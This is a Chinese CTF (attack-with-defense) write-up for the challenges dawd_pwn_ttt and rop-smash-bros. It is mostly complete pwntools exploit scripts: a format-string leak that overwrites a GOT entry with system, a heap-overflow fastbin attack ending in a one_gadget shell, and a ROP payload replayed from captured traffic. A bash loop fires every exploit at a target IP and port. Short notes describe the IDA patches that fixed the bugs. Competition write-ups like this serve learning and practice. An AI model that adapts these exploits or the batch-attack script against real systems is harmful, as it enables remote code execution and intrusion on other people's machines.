比赛

赛前一直在摸鱼，开赛前一天才开始看手册上的赛制介绍，然后学着写shell脚本和用来修复程序的 ida patch

用来攻击的shell脚本，每次执行会自动运行当前目录下所有的名字以exp开头并以py结尾的文件

#!/bin/bash

for file in *; do
    if [[ $file =~ ^exp.*\.py$ ]]; then
                echo "exec $file"
                python2 $file $1 $2
    fi
done

dawd_pwn_ttt

找到的洞有3个，栈溢出、格式化字符串和堆溢出，比赛时只打了格式化字符串和堆溢出

手快拿到了一血

exp

fmtstr

# -*- coding: UTF-8 -*-
from pwn import *
import sys

exe = './pwn'
libc_path = 'libc-2.23.so'
local = len(sys.argv) <= 1
if local == 0:
    ip = sys.argv[1]
    port = int(sys.argv[2])

context.binary = exe

elf = ELF(exe, checksec = False)
libc = ELF(libc_path, checksec = False)

def start_io():
    global io
    if local:
        io = process(exe)
    else:
        io = remote(ip, port)

ru          = lambda x          : io.recvuntil(x, drop = True)
sl          = lambda x          : io.sendline(x)
sa          = lambda a, b       : io.sendafter(a, b)
sla         = lambda a, b       : io.sendlineafter(a, b)
ia          = lambda            : io.interactive()
uu64        = lambda x          : u64(x.ljust(8, '\x00'))
libc_os     = lambda x          : libc_base + x
pie_os      = lambda x          : pie_base + x
libc_sym    = lambda x          : libc_os(libc.sym[x])
lg          = lambda x          : info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (x, eval(x)))

def menu(choice):
    sla('>>>>\n', str(choice))

def fmt(pld):
    menu(5)
    sa('It\'s a gift\n', pld)

start_io()
sa('First, please tell me your name.\n', 'junk')
sa('tell me:', 'junk')
pld = flat([
    '%21$p,%20$p,%19$p,'
])
fmt(pld)
pie_base = int(ru(','), 16) - (0x56390060166b - 0x563900600000)
lg('pie_base')
stack_addr = int(ru(','), 16)
lg('stack_addr')
canary = int(ru(','), 16)
lg('canary')
pld = flat([
    '%7$saaaa',
    pie_os(0x0000000000202290)
])
fmt(pld)
puts_addr = uu64(ru('aaaa'))
libc_base = puts_addr - libc.sym['atoi']
sys_addr = libc_sym('system')
lg('libc_base')
lg('sys_addr')
pld = flat([
    '%',
    str(int(hex(sys_addr)[-2:], 16)),
    'c',
    '%11$hhn',
    '%',
    str(int(hex(sys_addr)[-6:-2], 16) - int(hex(sys_addr)[-2:], 16)),
    'c',
    '%12$hn',
])
pld = pld.ljust(0x28, 'a')
pld += flat([
    pie_os(0x0000000000202258),
    pie_os(0x0000000000202258+1)
])
fmt(pld)
fmt('/bin/sh\x00')
sl('cat flag')
print io.recv()
ia()

heap overflow

# -*- coding: UTF-8 -*-
from pwn import *
import sys

exe = './pwn'
libc_path = 'libc-2.23.so'
local = len(sys.argv) <= 1
if local == 0:
    ip = sys.argv[1]
    port = int(sys.argv[2])

context.binary = exe

elf = ELF(exe, checksec = False)
libc = ELF(libc_path, checksec = False)

def start_io():
    global io
    if local:
        io = process(exe)
    else:
        io = remote(ip, port)

rc          = lambda n          : io.recv(n)
ru          = lambda x          : io.recvuntil(x, drop = True)
sl          = lambda x          : io.sendline(x)
sa          = lambda a, b       : io.sendafter(a, b)
sla         = lambda a, b       : io.sendlineafter(a, b)
ia          = lambda            : io.interactive()
uu64        = lambda x          : u64(x.ljust(8, '\x00'))
libc_os     = lambda x          : libc_base + x
lg          = lambda x          : info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (x, eval(x)))

def menu(choice):
    sla('>>>>\n', str(choice))

def set_content(pld):
    menu(2)
    sa('Take up the challenge.\n', pld)

def add(idx, size):
    menu(6)
    sla('Index:', str(idx))
    sla('Size of Heap : ', str(size))

def delete(idx):
    menu(7)
    sla('Index:', str(idx))

def show(idx):
    menu(8)
    sla('Index :', str(idx))

def edit(idx, content, exc):
    menu(9)
    sla('Index:', str(idx))
    sla('Content?:', content)
    sla('you want exc?\n', str(exc))

start_io()
sa('First, please tell me your name.\n', 'junk')
sa('tell me:', 'a' * 0x50)
add(0, 0x40)
add(1, 0x80)
add(2, 0x40)
delete(1)
set_content('a' * 0x50)
edit(0, 'a', 101)
show(0)
ru('a' * 0x50)
libc_base = uu64(rc(6)) - (0x7f1aebc46b78 - 0x7f1aeb882000)
lg('libc_base')
set_content('a' * 0x40 + flat(0, 0x91))
edit(0, 'a', 101)
add(3, 0x70)
fake_fast = libc_os(0x7f6cefc7caed - 0x7f6cef8b8000)
add(4, 0x60)
add(5, 0x40)
add(6, 0x90)
add(7, 0x40)
pld = flat({
    0x40: [
        0x1a0,
        0xa0,
    ]
})
set_content(pld)
edit(5, 'a', 101)
delete(3)
delete(6)
delete(4)
add(8, 0x100)
pld = flat({
    0xd0: [
        0,
        0x70,
        fake_fast,
    ]
})
edit(8, pld, 0)
add(9, 0x60)
add(10, 0x60)
one = libc_os(0xf1247)
edit(10, 'a' * 0x13 + flat(one), 0)
add(11, 0x40)
sl('cat flag')
print io.recv()
ia()

patch

fmtstr

利用 patch bytes 修改偏移将 call _printf 修改为 call _puts

heap overflow

利用 patch bytes 修改堆溢出的条件

rop-smash-bros

比赛时没逆出来，然后直到最后几分钟才想起来有流量这个东西，赛后拿了两三份流量把流量里的payload抄进exp里，没想到居然通了，血亏（主要还是线下经验太少了

exp

# -*- coding: UTF-8 -*-
from pwn import *
import sys

exe = './pwn'
local = len(sys.argv) <= 1
if local == 0:
    ip = sys.argv[1]
    port = int(sys.argv[2])

context.binary = exe

def start_io():
    global io
    if local:
        io = process(exe)
    else:
        io = remote(ip, port)

sd          = lambda x          : io.send(x)
sl          = lambda x          : io.sendline(x)
sa          = lambda a, b       : io.sendafter(a, b)
ia          = lambda            : io.interactive()

start_io()
sa('>> ', '\x31\x38\x0a')
sa('>> ', '\x31\x38\x0a')
sa('>> ', '\x32\x31\x0a')
sa('>> ', '\x31\x38\x0a')
sa('>> ', '\x31\x38\x0a')
sa('>> ', '\x32\x31\x0a')
sa('>> ', '\x32\x35\x0a')
sa('>> ', '\x31\x38\x0a')
sa('>> ', '\x31\x38\x0a')
sa('>> ', '\x32\x31\x0a')
sa('>> ', '\x32\x34\x0a')
sa('>> ', '\x31\x31\x34\x35\x31\x34\x0a')
sd(p32(0))
sd('\xf8\x5f\x66\x00')
sd(p32(0))
sd('\x00\x40\x23\x01')
sd(p32(0))
sd('\x00\x40\x23\x01')
sl('cat flag')
print io.recv()
ia()